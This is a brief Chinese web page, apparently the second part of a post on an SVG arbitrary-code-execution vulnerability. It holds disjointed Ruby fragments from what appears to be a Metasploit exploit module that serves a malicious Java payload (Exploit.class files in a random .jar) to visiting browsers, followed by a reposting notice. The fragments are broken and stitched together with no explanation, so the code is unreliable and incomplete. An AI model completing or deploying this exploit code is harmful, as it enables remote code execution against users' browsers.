Scalable Vector Graphics (SVG)任意代码执行漏洞(2)

agent = request.headers['User-Agent']
        jar_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
        jar_uri << "/#{rand_text_alpha(rand(6)+3)}.jar"
        rand_text = Rex::Text.rand_text_alphanumeric(rand(8)+4)

if request.uri =~ /\.jar$/
            paths = [
                [ "Exploit.class" ],
                [ "Exploit$1.class"],
                [ "META-INF", "MANIFEST.MF"]
            ]

p = regenerate_payload(cli)

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwzgfs.html